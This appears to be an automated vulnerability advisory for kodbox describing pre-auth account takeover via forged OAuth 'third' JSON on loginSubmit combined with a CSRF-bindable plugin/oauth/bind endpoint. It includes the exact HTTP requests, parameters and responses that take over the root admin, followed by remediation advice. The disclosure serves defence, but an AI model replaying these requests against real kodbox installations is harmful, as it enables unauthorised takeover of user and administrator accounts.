【CVE-2026-4590】Pre-Auth OAuth third Parameter Forgery plus CSRF-Bindable unionid Leading to Arbitrary Account Takeover

Vulnerability ID: VPLUS-2026-14182
Product: kodbox (https://github.com/kalcaddle/kodbox)
Severity: Critical
Vulnerability Type: V08 – Logic Vulnerability
Authentication: Pre-Auth (login endpoint exploitable without prior authentication, once a binding exists)
Confidence: 99%
Status: Confirmed
CVSS: 9.6
CVE:
Discovery Time: 2026-03-02 02:28:20

Affected Components / Endpoints

  • File: /workspace/source-code/plugins/oauth/controller/bind/index.class.php

  • Functions: bind, bindWithApp, bindDisplay, isBind, loginWithThird

  • Login endpoint:

    • POST /?user/index/loginSubmit (parameter third)

  • OAuth bind endpoint:

    • POST /?plugin/oauth/bind&method=bind (no CSRF protection, plugin module globally CSRF-exempt)

Technical Description / Root Cause

The OAuth login/bind flow in kodbox suffers from multiple business logic flaws that together enable arbitrary account takeover, including the built-in administrator (userID=1, isRoot=1).

  1. Client-controlled third data is blindly trusted on login:

    • The normal login API user/index/loginSubmit supports a third parameter containing JSON such as:

      <JSON>
       
      {"type":"github","openid":"...","unionid":"...","nickName":"...","sex":1,"avatar":""}
    • Passing this parameter directly triggers the third-party login flow user.bind.withApploginWithThird.

    • In plugins/oauth, bindWithApp → bindDisplay → isBind only checks the database for a match on type/unionid.

    • If a record is found, it calls loginSuccessUpdate and logs the user in, without any:

      • server-side signature / MAC validation,

      • state/nonce checking,

      • verification of a real third-party OAuth authorization code or token,

      • binding to an earlier validated callback.

    As a result, any unauthenticated client can forge an arbitrary third JSON and, if that type/unionid is already bound to some account, immediately log in as that account.

  2. plugin/oauth/bind allows arbitrary binding of attacker-chosen unionid/openid:

    • The endpoint /?plugin/oauth/bind&method=bind is available in an authenticated session and accepts:

      • type, openid, unionid, nickName, sex, avatar

    • It does not require:

      • a CSRF token,

      • a verified third-party OAuth callback or signed assertion,

      • Origin/Referer validation.

    • The plugin module is globally exempted from the CSRF filter, so this endpoint is CSRFable via a simple GET/POST from a malicious site.

    • The server simply trusts the client-supplied openid/unionid and binds them to the currently logged-in account, returning “绑定成功!”.

  3. Combined effect – arbitrary account takeover:

    • Because bind lets an attacker (or a CSRF attack) bind any attacker-chosen unionid to a victim account, and

    • loginSubmit + loginWithThird later log in solely based on third JSON matching that unionid in the DB,
      an attacker can:

    1. First get their own unionid bound to a target account (e.g., admin) by:

      • CSRFing a logged-in victim to call plugin/oauth/bind&method=bind with attacker-chosen openid/unionid, or

      • Using any access to a valid authenticated session of that victim (insider, stolen session, etc.) to call bind directly.

    2. Then, from an unauthenticated state, call user/index/loginSubmit with a forged third JSON containing the same type/unionid and be logged in as the victim account without knowing any password or possessing any real third-party OAuth token.

    The supplemental verification on 2026-03-08 further shows that CSRF is not the core requirement: any ability to call plugin/oauth/bind&method=bind in a victim’s authenticated session is enough to plant an arbitrary unionid, after which pre-auth third forgery suffices for takeover.

Attack Vector

High-level attack steps:

  1. Bind attacker-controlled third-party identity to victim account

    Victim is logged in (or attacker has access to a victim’s authenticated session). The attacker triggers:

    <HTTP>
     
    POST /?plugin/oauth/bind&method=bind
    Cookie: <victim-session-cookie>
     
    type=github&
    openid=oid-v22-admin&
    unionid=uid-v22-admin&
    nickName=admin-gh&
    sex=1&
    avatar=
    • No CSRF token is required.

    • No verification of a real OAuth callback or signed assertion.

    • The response is "code": true, "data": "绑定成功!" indicating the unionid is now linked to the victim’s account.

  2. Log out the victim session (optional)

    <HTTP>
     
    GET /?user/index/logout
    Cookie: <victim-session-cookie>
  3. Unauthenticated login with forged third JSON

    From a fresh, unauthenticated client:

    <HTTP>
     
    POST /?user/index/loginSubmit
    Content-Type: application/x-www-form-urlencoded
     
    third={"type":"github",
           "openid":"oid-v22-admin",
           "unionid":"uid-v22-admin",
           "nickName":"admin-gh",
           "sex":1,
           "avatar":""}
    • Server calls loginWithThird, matches type=github, unionid=uid-v22-admin to the previously bound record, and issues a valid access token for that account (data="ok", info=<accessToken>).

  4. Confirm account takeover

    With that token:

    <HTTP>
     
    GET /?user/view/options&accessToken=<forged_token>

    The response shows:

    <JSON>
     
    {
      "data": {
        "user": {
          "userID": 1,
          "isRoot": 1,
          "info": {
            "name": "admin"
          }
        }
      }
    }

    confirming successful takeover of the admin account.

PoC (Confirmed)

The provided PoC script:

  1. Logs in as admin and saves the session.

  2. Calls POST /?plugin/oauth/bind&method=bind with arbitrary type=github, openid=oid-v22-admin, unionid=uid-v22-admin, etc., receiving:

    <JSON>
     
    { "code": true, "data": "绑定成功!" }
  3. Logs out the admin session.

  4. From a new unauthenticated session, calls POST /?user/index/loginSubmit with:

    <JSON>
     
    third={"type":"github","openid":"oid-v22-admin","unionid":"uid-v22-admin",...}

    and receives:

    <JSON>
     
    { "code": true, "data": "ok", "info": "<accessToken>" }
  5. Uses that token in GET /?user/view/options and confirms:

    <TEXT>
     
    {'userID': 1, 'name': 'admin', 'isRoot': 1}

This demonstrates a full account takeover of the root administrator via forged OAuth identity.

Impact

  • Arbitrary account session takeover, including:

    • Administrator (userID=1, isRoot=1).

    • Any other user once a binding is planted.

  • No password or real OAuth credentials required once unionid is bound:

    • Login becomes a pure matter of forging client-side JSON.

  • Pre-auth exploitability:

    • The final login step is unauthenticated and based solely on third JSON and DB binding.

  • CSRF amplifies exploitability:

    • Because plugin/oauth/bind is CSRFable and the plugin module is CSRF-exempt, an attacker can bind their own unionid to a victim account simply by luring the victim to open a malicious page while logged in.

  • Privilege escalation:

    • Takeover of admin/root accounts leads to complete control over the application (data access, configuration, further RCE if other features are abused).

Duplicate Check

A duplicate search using:

GET /api/v1/agent/report/vulns?exclude_vuln_id=VPLUS-2026-14182
and an additional filter on vuln_type_code=V08 found no existing vulnerability with the same affected paths or attack vector (i.e., plugin/oauth/bind CSRF-bindable unionid + user/index/loginSubmit third forgery).

Therefore, this issue is considered unique and not a duplicate.

Remediation Recommendations

  1. Do not trust client-supplied third data:

    • bindWithApp must not accept raw type/openid/unionid from the front end as proof of identity.

    • Require a server-verified assertion from a trusted back-end service (e.g., OAuth provider callback result), including:

      • Signature/mac,

      • Timestamp and expiration,

      • Nonce,

      • Audience/issuer, and

      • Binding to the current session/user.

  2. Harden third-party login (loginWithThird / loginSubmit):

    • user/index/loginWithThird or any third-party login hook must:

      • Only succeed if a back-end verification step has positively validated a real OAuth code/token with the third-party provider and mapped it to a user ID.

    • Never log in solely based on the presence of a type/unionid pair in the DB that came from the client.

  3. Secure plugin/oauth/bind:

    • Enforce POST only.

    • Require a CSRF token and ensure the plugin module is not globally exempt from the CSRF filter.

    • Add Origin/Referer and SameSite cookie checks to prevent CSRF.

    • Treat bind as a sensitive operation that cannot be driven only by front-end parameters.

  4. Require verifiable third-party evidence for binding (bind&method=bind):

    • For logged-in users, binding openid/unionid must:

      • Be derived from a verified third-party OAuth callback handled server-side, not from arbitrary client inputs.

      • Optionally require user re-authentication or step-up verification (e.g., password re-entry, 2FA) for high-privilege accounts.

  5. Monitoring and secondary controls:

    • Implement:

      • Audit logs for all OAuth bindings/unbindings (including IP, device, and time).

      • Alerts for suspicious events (e.g., new unionid bound to admin account, or frequent bind/unbind cycles).

    • Notify users (email/notification) when a new third-party account is bound to their profile and provide a simple way to revoke it.